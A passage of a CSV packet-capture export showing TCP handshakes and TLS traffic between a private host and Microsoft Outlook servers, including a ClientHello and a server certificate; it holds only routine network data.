{\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 624, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x07=\\\\xf0s|Y\\\\xcc!\\\\xc1\\\\xaf\\\\x7ft\\\\xcc\\\\xc9\\\\xb5\\\\xb8\\\\xb7Sow;XjQf\\\\xea\\\\xcdq\\\\xb0ea\\\\xed\\\\xdf\\\\xd3\\\\xed\\\\xbc1\\\\x00[\\\\xb7\\\\xa8N\\\\x90Fx\\\\xc1@w\\\\xf5P\\\\t\\\\x94\\\\n\\\\x97#\\\\xdf\\\\x96\\\\xce\\\\xf9J\\\\ng\\\\xf0^\\\\xe0\\\\xdc\\\\xc8\\\\x0c7\\\\xfd\\\\x08:\\\\x88\\\\xcfI1\\\\xf9\\\\xed\\\\x1e\\\\xfe\\\\xdale\\\\xc7\\\\x17\\\\n8\\\\xb7KC#t\\\\x07\\\\x1f)\\\\xd8\\\\x06\\\\xf0i\\\\xf4nc\\\\x87\\\\xfa\\\\xc3[\\\\x1d\\\\xa3\\\\x0e\\\\x0e\\\\xfe\\\\x81\\\\xd5\\\\x17&p\\\\x06\\\\xab\\\\x07\\\\xee\\\\xb9\\\\xa0\\\\xba\\\\xae>x\\\\x12'\\\\x96\\\\xe8`ypd\\\\xa0\\\\xd5\\\\xcb\\\\xa9\\\\x00on\\\\n|\\\\x85\\\\xa6\\\\xc8\\\\xe6\\\\x82\\\\x80t\\\\xb1\\\\xb9/\\\\x14\\\\xe9\\\\xfbd\\\\xb2;S\\\\x9c\\\\x93\\\\x81\\\\x18\\\\xd3;\\\\xbd\\\\x06\\\\x9c.\\\\x0c\\\\x8c\\\\x9a\\\\x83<\\\\x16pe\\\\x9e\\\\x8e~HGgMD\\\\x81\\\\xb4\\\\xa7(\\\\x07\\\\x06t\\\\xb5;\\\\xdd\\\\xff\\\\x89\\\\x8e\\\\xd8W\\\\xcf\\\\x1e\\\\xa7\\\\x17e\\\\x1d(\\\\x8f\\\\xc9@\\\\xfa+\\\\x01\\\\xe7A\\\\xab\\\\x10\\\\xfb\\\\xcc\\\\xb3\\\\xf3nG\\\\xca\\\\xbd\\\\x85\\\\x8b6xam\\\\x14@\\\\xa7\\\\x0f\\\\x8c\\\\xaf\\\\x97\\\\x04\\\\xb9\\\\xf5N{\\\\xbe\\\\xf9\\\\x8cxj\\\\xf9\\\\xa79\\\\xa5O\\\\n7\\\\xbc1H9Q\\\\xa2\\\\xd5\\\\xf9\\\\x13\\\\x1c+\\\\x0c\\\\xedh=P-\\\\xfd\\\\x89m\\\\xaa\\\\xca\\\\x10\\\\xf6\\\\xb3\\\\xdfr\\\\x8duUqj\\\\xc4\\\\x0f_\\\\x0e\\\\x88\\\\x8a\\\\xebn]Lt\\\\t-&N\\\\x80\\\\xb8\\\\r\\\\xb2\\\\xa2[6\\\\xd0\\\\\\\\\\\\xf9\\\\xb5m\\\\x87\\\\x89%\\\\x9e\\\\xc4l\\\\x12@G1R#\\\\xfb\\\\xa1\\\\xdcaY\\\\x80[\\\\xdd\\\\xca\\\\xe0w\\\\x0bX\\\\x86\\\\xea\\\\xad\\\\xf8\\\\xabR\\\\xa8\\\\x8e\\\\xbc\\\\xac$\\\\x10\\\\xc3\\\\x02\\\\x167\\\\xb1\\\\xfd\\\\xc9^\\\\xc1\\\\x0fB<(s\\\\xfd\\\\x08\\\\xdb\\\\x8c\\\\xbf4\\\\xc3\\\\xf8\\\\x90\\\\x08)\\\\xb7Lbw[``\\\\x8cQ\\\\xea\\\\xf9\\\\xbf\\\\xdbY\\\\x83\\\\xa2+ga\\\\xb1{\\\\xcf\\\\xb9\\\\xcf\\\\xa8\\\\xbbn\\\\x13Z\\\\x0b\\\\x83[n\\\\x8a\\\\xd0\\\\xce:\\\\xf5\\\\xf4T\\\\x83@\\\\x1d_\\\\xc8y\\\\xc0cS\\\\xc8n\\\\x13\\\\x82'\\\\xe9\\\\xbdSI\\\\xa8\\\\xed\\\\x9e\\\\x92\\\\xf7\\\\x170J\\\\x96\\\\xb3\\\\xda\\\\xd5`\\\\xcd\\\\xda\\\\xfdv;\\\\x8e'5\\\\xd1]\\\\xda\\\\xe2\\\\x96\\\\x01\\\\x03\\\\xec\\\\xb4&\\\\x02\\\\x9c[8$\\\\xe8\\\\xfc\\\\xa8\\\\x9fId\\\\xb5$\\\\xa7\\\\xfa\\\\xe5\\\\xca\\\\x86\\\\xa5<H\\\\xeb\\\\xa8\\\\x7f0\\\\xcai\\\\xa5\\\\x86\\\\xb4\\\\xb5\\\\x1fJ\\\\x07\\\\xe15G\\\\xc37\\\\xb2\\\\xcdH\\\\x1c.{\\\\x1fTs\\\\xeb\\\\x12\\\\xd6\\\\x13O\\\\xda\\\\x8a\\\\xe4Y\\\\xac\\\\x90\\\\xd6;\\\\xd6\\\\x82wOtX@_w2\\\\xa9\\\\xc3\\\\xd9\\\\x1c\\\\xcd\\\\x07\\\\xb0'<\\\\x0cM\\\\xa7#\\\\x8a\\\\x89+\\\\xc4BMU\\\\x15^\\\\\\\\\\\\x1eO\\\\x0c\\\\x05\\\\xed\\\\x0f\\\\xd7\\\\x1d\\\\x0fS5\\\\xe19\\\\xc19\\\\xb9\\\\x86\\\\xf3'^$\\\\xb2\\\\xf0q\\\\x11\\\\xbc\\\\x01\\\\xde6\\\\xd2\\\\xa0\\\\xbd\\\\xf4\\\\xa9\\\\x9cG\\\\xa9\\\\x89\\\\xb9<\\\\xc0\\\\xdbi\\\\xe6\\\\t|&B\\\\xf5tQE\\\\xd3)j\\\\x8d\\\\xc3\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:46.533632,82,TCP 10.152.152.11:64008 -> 52.98.232.34:443,10.152.152.11,52.98.232.34,64008,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.98.232.0/26,A,,,Ether > IP > TCP,3,TCP A Seq=53881696 Ack=3746065551,bc24112907bbbc2411360d0c080045000028afa5400080068c020a98980b3462e822fa0801bb03362b60df486c8f501003fa76800000,\".$.)...$.6\n...E..(..@.....\n...4b.\"\".....6+`.Hl.P...v...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 44965, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 35842, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.98.232.34\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64008, \"\"dport\"\": 443, \"\"seq\"\": 53881696, \"\"ack\"\": 3746065551, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1018, \"\"chksum\"\": 30336, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:46.772606,83,TCP 10.152.152.11:64012 -> 52.97.201.82:443,10.152.152.11,52.97.201.82,64012,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.201.64/26,S,,,Ether > IP > TCP,3,TCP S Seq=1256293566 Ack=0,bc24112907bbbc2411360d0c080045000034ef47400080066b250a98980b3461c952fa0c01bb4ae184be000000008002ffff03520000020405b40103030801010402,\".$.)...$.6\n...E..4.G@...k%\n...4a.R....J............R..............\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 61255, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 27429, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.201.82\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64012, \"\"dport\"\": 443, \"\"seq\"\": 1256293566, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 65535, \"\"chksum\"\": 850, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-06-14 14:28:46.772633,84,TCP 52.97.201.82:443 -> 10.152.152.11:64012,52.97.201.82,10.152.152.11,443,64012,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.201.64/26,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=2330688477 Ack=1256293567,bc2411360d0cbc24112907bb0800450000340000400040069a6d3461c9520a98980b01bbfa0c8aeb7bdd4ae184bf8012faf0a07d0000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@..m4a.R\n.........{.J........}.............\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 39533, \"\"src\"\": \"\"52.97.201.82\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64012, \"\"seq\"\": 2330688477, \"\"ack\"\": 1256293567, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 41085, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-06-14 14:28:46.772843,85,TCP 10.152.152.11:64012 -> 52.97.201.82:443,10.152.152.11,52.97.201.82,64012,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.201.64/26,A,,,Ether > IP > TCP,3,TCP A Seq=1256293567 Ack=2330688478,bc24112907bbbc2411360d0c080045000028ef48400080066b300a98980b3461c952fa0c01bb4ae184bf8aeb7bde50100400394b0000,\".$.)...$.6\n...E..(.H@...k0\n...4a.R....J.....{.P...9K..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61256, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 27440, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.201.82\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64012, \"\"dport\"\": 443, \"\"seq\"\": 1256293567, \"\"ack\"\": 2330688478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 14667, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:46.773158,86,TCP 10.152.152.11:64012 -> 52.97.201.82:443,10.152.152.11,52.97.201.82,64012,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.201.64/26,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=1256293567 Ack=2330688478,bc24112907bbbc2411360d0c0800450000f8ef49400080066a5f0a98980b3461c952fa0c01bb4ae184bf8aeb7bde5018040075c1000016030300cb010000c703036a2f1d0d5cf08e40c5a581e7c7289487a14e0a0fc7a326a3e4d96130a0b7c0af000026c02cc02bc030c02fc024c023c028c027c00ac009c014c013009d009c003d003c0035002f000a010000780000001c001a0000176f75746c6f6f6b2e636c6f75642e6d6963726f736f6674000500050100000000000a00080006001d00170018000b00020100000d001a0018080408050806040105010201040305030203020206010603002300000010000e000c02683208687474702f312e3100170000ff01000100,\".$.)...$.6\n...E....I@...j_\n...4a.R....J.....{.P...u..............j/.\n\\..@.....(...N\n...&...a0......&.,.+.0./.$.#.(.'.\n.\t.........=.<.5./.\n...x.........outlook.cloud.microsoft..........\n.................\n.............................#.........h2.http/1.1.........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 248, \"\"id\"\": 61257, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 27231, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.201.82\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64012, \"\"dport\"\": 443, \"\"seq\"\": 1256293567, \"\"ack\"\": 2330688478, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 30145, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 203, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientHello  msgtype=client_hello msglen=199 version=TLS 1.2 gmt_unix_time=Sun, 14 Jun 2026 21:28:45  (1781472525) random_bytes=5cf08e40c5a581e7c7289487a14e0a0fc7a326a3e4d96130a0b7c0af sidlen=0 sid=b'' cipherslen=38 ciphers=[TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_GCM_SHA384, TLS_RSA_WITH_AES_128_GCM_SHA256, TLS_RSA_WITH_AES_256_CBC_SHA256, TLS_RSA_WITH_AES_128_CBC_SHA256, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA] complen=1 comp=null extlen=120 ext=[<TLS_Ext_ServerName  type=server_name len=28 servernameslen=26 servernames=[b'outlook.cloud.microsoft'] |>, <TLS_Ext_CSR  type=status_request len=5 stype=ocsp req=[<OCSPStatusRequest  respidlen=0 reqextlen=0 reqext=<X509_Extensions  |> |>] |>, <TLS_Ext_SupportedGroups  type=supported_groups len=8 groupslen=6 groups=[x25519, secp256r1, secp384r1] |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=2 ecpllen=1 ecpl=[uncompressed] |>, <TLS_Ext_SignatureAlgorithms  type=signature_algorithms len=26 sig_algs_len=24 sig_algs=[sha256+rsaepss, sha384+rsaepss, sha512+rsaepss, sha256+rsa, sha384+rsa, sha1+rsa, sha256+ecdsa, sha384+ecdsa, sha1+ecdsa, sha1+dsa, sha512+rsa, sha512+ecdsa] |>, <TLS_Ext_SessionTicket  type=session_ticket len=0 ticket=b'' |>, <TLS_Ext_ALPN  type=alpn len=14 protocolslen=12 protocols=[b'h2', b'http/1.1'] |>, <TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>, <TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:46.773166,87,TCP 52.97.201.82:443 -> 10.152.152.11:64012,52.97.201.82,10.152.152.11,443,64012,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.201.64/26,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2330688478 Ack=1256293775,bc2411360d0cbc24112907bb0800450000282a97400040066fe23461c9520a98980b01bbfa0c8aeb7bde4ae1858f5010003fa0710000,\".$.6\n..$.)....E..(*.@.@.o.4a.R\n.........{.J...P..?.q..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10903, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 28642, \"\"src\"\": \"\"52.97.201.82\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64012, \"\"seq\"\": 2330688478, \"\"ack\"\": 1256293775, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 41073, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:47.201075,88,TCP 52.97.201.82:443 -> 10.152.152.11:64012,52.97.201.82,10.152.152.11,443,64012,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.201.64/26,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > Padding,4,TCP PA Seq=2330688478 Ack=1256293775,bc2411360d0cbc24112907bb0800450007c82a984000400668413461c9520a98980b01bbfa0c8aeb7bde4ae1858f5018003fa81100001603031fce0200006603036a2eba9e7ed255b705fd27e88b4cca0d389685e042954172444f574e47524401208d2d000091ec1d44c3ce11472026bfd5f8b8e8bb0e97169b4fd1ce40204bb8a6c03000001e000500000023000000100005000302683200170000ff01000100000000000b0016a80016a50009533082094f30820737a003020102021343000ab40354ebc89cc9d01f0f0000000ab403300d06092a864886f70d01010c05003057310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312830260603550403131f4d6963726f736f667420544c5320473220525341204341204f435350203034301e170d3236303330383030313730335a170d3237303330333030313730335a306e310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3120301e060355040313176f75746c6f6f6b2e636c6f75642e6d6963726f736f667430820122300d06092a864886f70d01010105000382010f003082010a0282010100e821db6b59618abe5569b6a1b4ca8b1386f9321454fb9b4090c7fc068f81121ff533fa390cec9038d2dacb70a372090e27cb318ec69c9ec39fdb9d3f853e8512abecd8f276d5de863889019c9c1480fe31153696aa2432d0056149aae544b5d558f1fb4570215fa7212922940a46bfd663c48c1fe5d74dddc85fcf30f419357fdfa8dfe9e55b34edf4fc3ecfc09333a53fbbc77eb676f55b0b7781d4f23149344a9db479cc221de86b86630452363022383e0b602fda16e4ba9bd96c31b63f354a02cb8ade61f5037bec9d7b456f4ee3fe785791eb6bd126e5d2ca26420398faa01ec0e8d8d88424f8d15e05238d26edb1796c9f42eaf598c82e46d650a973590203010001a38204fb308204f73082017e060a2b06010401d6790204020482016e0482016a0168007700d6d58da9d01753f36a4aa0c7574902afebc7dc2cd38cd9f764c80c89191e9f020000019ccad73c1e0000040300483046022100e55d982e5af07f61a26bc59c87aa509d9f5d59293e7da533c29e793f4686986b02210083499f8ed352d2c6ab8788b918cf2f82407da0077347df82a3c2a666524709a40075001c9f682ce9faf0456950f81b968a87dddb3210d84ce6c8b2e382524ac4cf599f0000019ccad73d62000004030046304402202698638e91ee1dbea8586c5217a7ead63776394850e131fc3472ae16c3b07b02022013e71c1e18cadeaaf40fb6bcd78420aaf1e0004625aad5525088368c72ab4e7100760044c2bd0ce9140e64a5c94a01930a5aa1bb35970e00ee111689682a1c44d7b5660000019ccad73c9a000004030047304502203257bad935c1df986ebc85032551802d79f64f6a6fa9f0ec5d92673d60ee97ee022100970e8cebe1ec70c0e05931985d04b777ac758aa856ca79d8bb8d992ba25fc9d1301b06092b060104018237150a040e300c300a06082b06010505070301303c06092b0601040182371507042f302d06252b060104018237150887bdd71b81e7eb4682819d2e8ed00c87f0da1d5d81b5dd50859ffd750201640201213082010b06082b060105050701010481fe3081fb306106082b060105050730028655687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d6963726f736f6674253230544c53253230473225323052534125323043412532304f43535025323030342e637274306706082b06010505073002865b687474703a2f2f6361697373756572732e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d6963726f736f6674253230544c53253230473225323052534125323043412532304f43535025323030342e637274302d06082b060105050730018621687474703a2f2f6f6e656f6373702e6d6963726f736f66742e636f6d2f6f637370301d0603551d0e04160414461f5602bafadb223a440b77af608f81362549c6300e0603551d0f0101ff0404030205a0303a0603551d11043330318216706c616365732e636c6f75642e6d6963726f736f667482176f75746c6f6f6b2e636c6f75642e6d6963726f736f6674300c0603551d130101ff040230003081f10603551d1f0481e93081e63081e3a081e0a081dd866c687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f706172746974696f6e2f4d6963726f736f6674253230544c53253230473225323052534125323043412532304f43535025323030345f506172746974696f6e30303039382e63726c866d687474703a2f2f63726c322e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f706172746974696f6e2f4d6963726f736f6674253230544c53253230473225323052534125323043412532304f43535025323030345f506172746974696f6e30303039382e63726c30660603551d20045f305d3051060c2b0601040182374c837d01013041303f06082b060105050702011633687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f446f63732f5265706f7369746f72792e68746d3008060667810c010202301f0603551d23041830168014540cbcec18f77df103e284be34644467cf,\".$.6\n..$.)....E...*.@.@.hA4a.R\n.........{.J...P..?............f..j...~.U...'..L.\n8...B.ArDOWNGRD. .-.....D...G &..........O..@ K...0........#.........h2.....................\tS0.\tO0..7.......C.\n..T..........\n..0\n.\t*.H..\n.....0W1.0\t..U....US1.0...U.\n..Microsoft Corporation1(0&..U....Microsoft TLS G2 RSA CA OCSP 040..\n260308001703Z.\n270303001703Z0n1.0\t..U....US1.0\t..U....WA1.0...U....Redmond1.0...U.\n..Microsoft Corporation1 0...U....outlook.cloud.microsoft0..\"\"0\n.\t*.H..\n..........0..\n......!.kYa..Ui........2.T..@.........3.9...8...p.r\t.'.1........?.>......v...8.......1.6..$2..aI..D..X..Ep!_.!)\"\".\nF..c.....M.._.0..5......[4...>...3.?..~.v.[.w...1I4J..y.\"\"..k.c.R60\"\"8>.`/......l1.?5J....a..{..{EoN..xW..k.&...&B..........$..^.#.&..yl.B.....F.P.sY.........0...0..~.\n+.....y......n...j.h.w.......S.jJ..WI.....,....d.............<......H0F.!..]..Z..a.k....P..]Y)>}.3..y?F..k.!..I...R......../.@}..sG.....fRG\t..u...h,...EiP.......2..L.....RJ..Y.......=b.....F0D. &.c......XlR....7v9HP.1.4r....{.. .............. ....F%..RP.6.r.Nq.v.D......d..J..\nZ..5.......h*.D..f......<......G0E. 2W..5...n...%Q.-y.Ojo...].g=`....!.......p..Y1.]..w.u..V.y....+._..0..\t+.....7.\n..0.0\n..+.......0<.\t+.....7.../0-.%+.....7.........F...........]...P...u..d..!0.....+..........0..0a..+.....0..Uhttp://www.microsoft.com/pkiops/certs/Microsoft%20TLS%20G2%20RSA%20CA%20OCSP%2004.crt0g..+.....0..[http://caissuers.microsoft.com/pkiops/certs/Microsoft%20TLS%20G2%20RSA%20CA%20OCSP%2004.crt0-..+.....0..!http://oneocsp.microsoft.com/ocsp0...U......F.V....\"\":D.w.`..6%I.0...U...........0:..U...301..places.cloud.microsoft..outlook.cloud.microsoft0...U.......0.0....U.....0..0.........lhttp://www.microsoft.com/pkiops/crl/partition/Microsoft%20TLS%20G2%20RSA%20CA%20OCSP%2004_Partition00098.crl.mhttp://crl2.microsoft.com/pkiops/crl/partition/Microsoft%20TLS%20G2%20RSA%20CA%20OCSP%2004_Partition00098.crl0f..U. ._0]0Q..+.....7L.}..0A0?..+........3http://www.microsoft.com/pkiops/Docs/Repository.htm0...g.....0...U.#..0...T.....}.....4dDg.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 1992, \"\"id\"\": 10904, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 26689, \"\"src\"\": \"\"52.97.201.82\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64012, \"\"seq\"\": 2330688478, \"\"ack\"\": 1256293775, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 43025, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Padding\"\", \"\"fields\"\": {\"\"load\"\": \"\"1603031fce0200006603036a2eba9e7ed255b705fd27e88b4cca0d389685e042954172444f574e47524401208d2d000091ec1d44c3ce11472026bfd5f8b8e8bb0e97169b4fd1ce40204bb8a6c03000001e000500000023000000100005000302683200170000ff01000100000000000b0016a80016a50009533082094f30820737a003020102021343000ab40354ebc89cc9d01f0f0000000ab403300d06092a864886f70d01010c05003057310b3009060355040613025553311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312830260603550403131f4d6963726f736f667420544c5320473220525341204341204f435350203034301e170d3236303330383030313730335a170d3237303330333030313730335a306e310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3120301e060355040313176f75746c6f6f6b2e636c6f75642e6d6963726f736f667430820122300d06092a864886f70d01010105000382010f003082010a0282010100e821db6b59618abe5569b6a1b4ca8b1386f9321454fb9b4090c7fc068f81121ff533fa390cec9038d2dacb70a372090e27cb318ec69c9ec39fdb9d3f853e8512abecd8f276d5de863889019c9c1480fe31153696aa2432d0056149aae544b5d558f1fb4570215fa7212922940a46bfd663c48c1fe5d74dddc85fcf30f419357fdfa8dfe9e55b34edf4fc3ecfc09333a53fbbc77eb676f55b0b7781d4f23149344a9db479cc221de86b86630452363022383e0b602fda16e4ba9bd96c31b63f354a02cb8ade61f5037bec9d7b456f4ee3fe785791eb6bd126e5d2ca26420398faa01ec0e8d8d88424f8d15e05238d26edb1796c9f42eaf598c82e46d650a973590203010001a38204fb308204f73082017e060a2b06010401d6790204020482016e0482016a0168007700d6d58da9d01753f36a4aa0c7574902afebc7dc2cd38cd9f764c80c89191e9f020000019ccad73c1e0000040300483046022100e55d982e5af07f61a26bc59c87aa509d9f5d59293e7da533c29e793f4686986b02210083499f8ed352d2c6ab8788b918cf2f82407da0077347df82a3c2a666524709a40075001c9f682ce9faf0456950f81b968a87dddb3210d